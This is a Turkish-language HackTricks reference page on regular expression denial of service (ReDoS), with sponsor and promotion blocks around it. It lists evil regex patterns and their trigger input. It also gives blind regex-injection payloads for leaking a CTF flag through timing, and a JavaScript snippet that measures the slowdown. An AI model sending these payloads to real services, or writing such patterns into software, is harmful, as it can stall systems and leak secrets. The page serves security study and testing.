mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
103 lines
6.4 KiB
Markdown
103 lines
6.4 KiB
Markdown
# Düzenli İfade Hizmet Dışı Bırakma - ReDoS
|
||
|
||
<details>
|
||
|
||
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin!</summary>
|
||
|
||
HackTricks'ı desteklemenin diğer yolları:
|
||
|
||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||
|
||
</details>
|
||
|
||
# Düzenli İfade Hizmet Dışı Bırakma (ReDoS)
|
||
|
||
Bir **Düzenli İfade Hizmet Dışı Bırakma (ReDoS)**, düzenli ifadelerin (metinde desenleri aramak ve eşleştirmek için bir yol) nasıl çalıştığındaki zayıflıklardan faydalanıldığında meydana gelir. Bazen, düzenli ifadeler kullanıldığında, özellikle çalıştıkları metin parçası büyüdükçe, çok yavaş hale gelebilirler. Bu yavaşlık, metin boyutunda bile küçük artışlarla hızla büyüyebilir. Saldırganlar, bu sorunu kullanarak düzenli ifadeler kullanan bir programın uzun süre düzgün çalışmasını engelleyebilir.
|
||
|
||
## Sorunlu Regex Naif Algoritması
|
||
|
||
**Detayları [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)** adresinde kontrol edin.
|
||
|
||
## Kötü Amaçlı Regexler <a href="#evil-regexes" id="evil-regexes"></a>
|
||
|
||
Kötü bir düzenli ifade deseni, bir DoS'a neden olacak şekilde oluşturulmuş girdide takılı kalabilen bir desendir. Kötü amaçlı regex desenleri genellikle tekrarlayan gruplama ve tekrarlama veya tekrarlayan grup içinde örtüşme içeren desenler içerir. Kötü desen örnekleri şunları içerir:
|
||
|
||
* (a+)+
|
||
* ([a-zA-Z]+)*
|
||
* (a|aa)+
|
||
* (a|a?)+
|
||
* (.*a){x} için x > 10
|
||
|
||
Tüm bunlar, `aaaaaaaaaaaaaaaaaaaaaaaa!` girdisine karşı savunmasızdır.
|
||
|
||
## ReDoS Yükleri
|
||
|
||
### ReDoS Aracılığıyla Dize Sızdırma
|
||
|
||
Bir CTF (veya hata ödülü) sırasında, hassas bilgilerin (bayrak) eşleştiği Regex'i **siz kontrol edebilirsiniz**. Ardından, bir Regex eşleşirse **sayfayı dondurmanız (zaman aşımı veya daha uzun işleme süresi)** ve eşleşmezse **dondurmamanız** yararlı olabilir. Bu şekilde, dizeyi **karakter karakter** sızdırabilirsiniz:
|
||
|
||
* [**Bu gönderide**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) şu ReDoS kuralını bulabilirsiniz: `^(?=<flag>)((.*)*)*salt$`
|
||
* Örnek: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
|
||
* [**Bu çözümde**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) şunu bulabilirsiniz: `<flag>(((((((.*)*)*)*)*)*)*)!`
|
||
* [**Bu çözümde**](https://ctftime.org/writeup/25869) şunu kullandı: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
|
||
|
||
### Giriş ve Regex'i Kontrol Eden ReDoS
|
||
|
||
Aşağıdakiler, **girişi** ve **regex'i** kontrol ettiğiniz **ReDoS** örnekleridir:
|
||
```javascript
|
||
function check_time_regexp(regexp, text){
|
||
var t0 = new Date().getTime();;
|
||
new RegExp(regexp).test(text);
|
||
var t1 = new Date().getTime();;
|
||
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
|
||
}
|
||
|
||
// This payloads work because the input has several "a"s
|
||
[
|
||
// "((a+)+)+$", //Eternal,
|
||
// "(a?){100}$", //Eternal
|
||
"(a|a?)+$",
|
||
"(\\w*)+$", //Generic
|
||
"(a*)+$",
|
||
"(.*a){100}$",
|
||
"([a-zA-Z]+)*$", //Generic
|
||
"(a+)*$",
|
||
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
|
||
|
||
/*
|
||
Regexp (a|a?)+$ took 5076 milliseconds.
|
||
Regexp (\w*)+$ took 3198 milliseconds.
|
||
Regexp (a*)+$ took 3281 milliseconds.
|
||
Regexp (.*a){100}$ took 1436 milliseconds.
|
||
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
|
||
Regexp (a+)*$ took 723 milliseconds.
|
||
*/
|
||
```
|
||
## Araçlar
|
||
|
||
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
|
||
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
|
||
|
||
## Referanslar
|
||
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
|
||
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
|
||
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
|
||
* [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||
|
||
HackTricks'ı desteklemenin diğer yolları:
|
||
|
||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
|
||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
|
||
|
||
</details>
|